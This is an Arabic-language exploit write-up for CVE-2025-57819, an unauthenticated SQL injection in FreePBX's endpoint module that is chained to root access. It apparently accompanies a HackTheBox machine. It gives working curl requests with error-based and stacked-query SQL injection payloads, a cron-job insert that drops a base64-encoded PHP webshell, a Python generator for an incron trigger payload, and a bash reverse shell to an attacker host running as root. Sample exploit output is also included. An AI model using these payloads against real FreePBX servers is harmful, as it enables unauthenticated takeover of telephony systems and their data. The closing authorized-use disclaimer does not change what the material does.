
حقن SQL غير مصادق عليه يؤدي إلى تنفيذ كود عن بُعد في FreePBX — CVE-2025-57819
الخطورة: حرجة
النوع: حقن SQL غير مصادق عليه ← تنفيذ تعليمات برمجية عن بُعد
البرنامج المتأثر: FreePBX (وحدة endpoint)
تم الاختبار على: FreePBX على CentOS 7، Apache 2.4، PHP 7.4، MariaDB 5.5
توجد ثغرة حقن SQL غير مصادق عليه في وحدة endpoint في FreePBX عبر معامل brand في /admin/ajax.php. لا تتطلب استغلال هذه الثغرة أي بيانات اعتماد.
وبدمجها مع آلية المهام المجدولة (cron) الداخلية في FreePBX ونظام خطافات incron/fwconsole، يؤدي ذلك إلى الحصول على شل كامل بصلاحيات الجذر دون مصادقة.
[No Auth Required]
│
▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
│
├──► Extract DB credentials, user hashes
│
├──► INSERT into cron_jobs
│ │
│ └──► PHP webshell dropped in web root
│ │
│ └──► RCE as asterisk (user flag)
│
└──► Write incron trigger file (as asterisk)
│
└──► sysadmin_manager fires as root
│
└──► fwconsole hook → Root Shell
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>
مثال:
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999
المخرجات:
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version : 5.5.65-MariaDB
[+] DB User : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!
يتم تمرير معامل brand في معالج AJAX الخاص بوحدة endpoint مباشرة إلى استعلام SQL دون تعقيم:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model
&brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
يؤدي هذا إلى إرجاع اسم قاعدة البيانات داخل خطأ XPATH — وهي تقنية SQLi كلاسيكية قائمة على الأخطاء. كما أن الاستعلامات المكدسة (stacked queries) مدعومة أيضًا، مما يسمح بعمليات INSERT وUPDATE وDELETE.
باستخدام الاستعلامات المكدسة، يتم إدراج مهمة cron في جدول cron_jobs في FreePBX:
INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
NULL, '* * * * *', 30, 1, 1)
يقوم مشغّل cron في FreePBX بتنفيذ هذه المهمة كل دقيقة، مما يُسقط ويب شيل PHP في جذر الويب.
يراقب incrond المجلد /var/spool/asterisk/incron/ (القابل للكتابة من قبل مستخدم asterisk). عند إنشاء ملف هناك، فإنه يشغّل /usr/bin/sysadmin_manager بصلاحيات الجذر.
يرتبط تنسيق اسم الملف api.fwconsole-commands.<payload> بخطاف موجود مسبقًا موقّع بـ GPG في:
/var/www/html/admin/modules/api/hooks/fwconsole-commands
يقوم الخطاف بفك ترميز اسم الملف كحمولة base64(zlib(json([cmd, txn_id]))) وينفذ:
$cmd = "/usr/sbin/fwconsole $command 2>&1";
استخدام help; كبادئة يجعل fwconsole يقبل الأمر كأمر صالح، وترمز ; إلى سلسلة أوامر شل عشوائية:
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
يتم تنفيذ هذا بصلاحيات الجذر، مما يعطي شل كامل بصلاحيات الجذر.
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"
# Save to file to avoid shell quoting issues
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py
# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
| النتيجة | التفاصيل |
|---|---|
| قاعدة البيانات | asterisk (MariaDB 5.5.65) |
| مستخدم قاعدة البيانات | freepbxuser@localhost |
| مستخدم الويب | asterisk (uid=999) |
| جدول cron | قابل للكتابة عبر SQLi |
| مجلد Incron | /var/spool/asterisk/incron/ (قابل للكتابة بواسطة asterisk) |
| تصعيد الصلاحيات | خطاف fwconsole يعمل بصلاحيات الجذر عبر incrond |
| طريقة الحصول على الجذر | تشغيل Incron ← خطاف fwconsole موقّع ← حقن أوامر |
| التاريخ | الحدث |
|---|---|
| 2025 | تم اكتشاف الثغرة والإبلاغ عنها |
| 2025-11-30 | تم نشر الجهاز على HackTheBox |
| 2025 | تم تعيين CVE-2025-57819 |
هذه الأداة مخصصة للأغراض التعليمية والاختبارات الأمنية المصرح بها فقط. لا تستخدمها ضد أنظمة ليس لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام.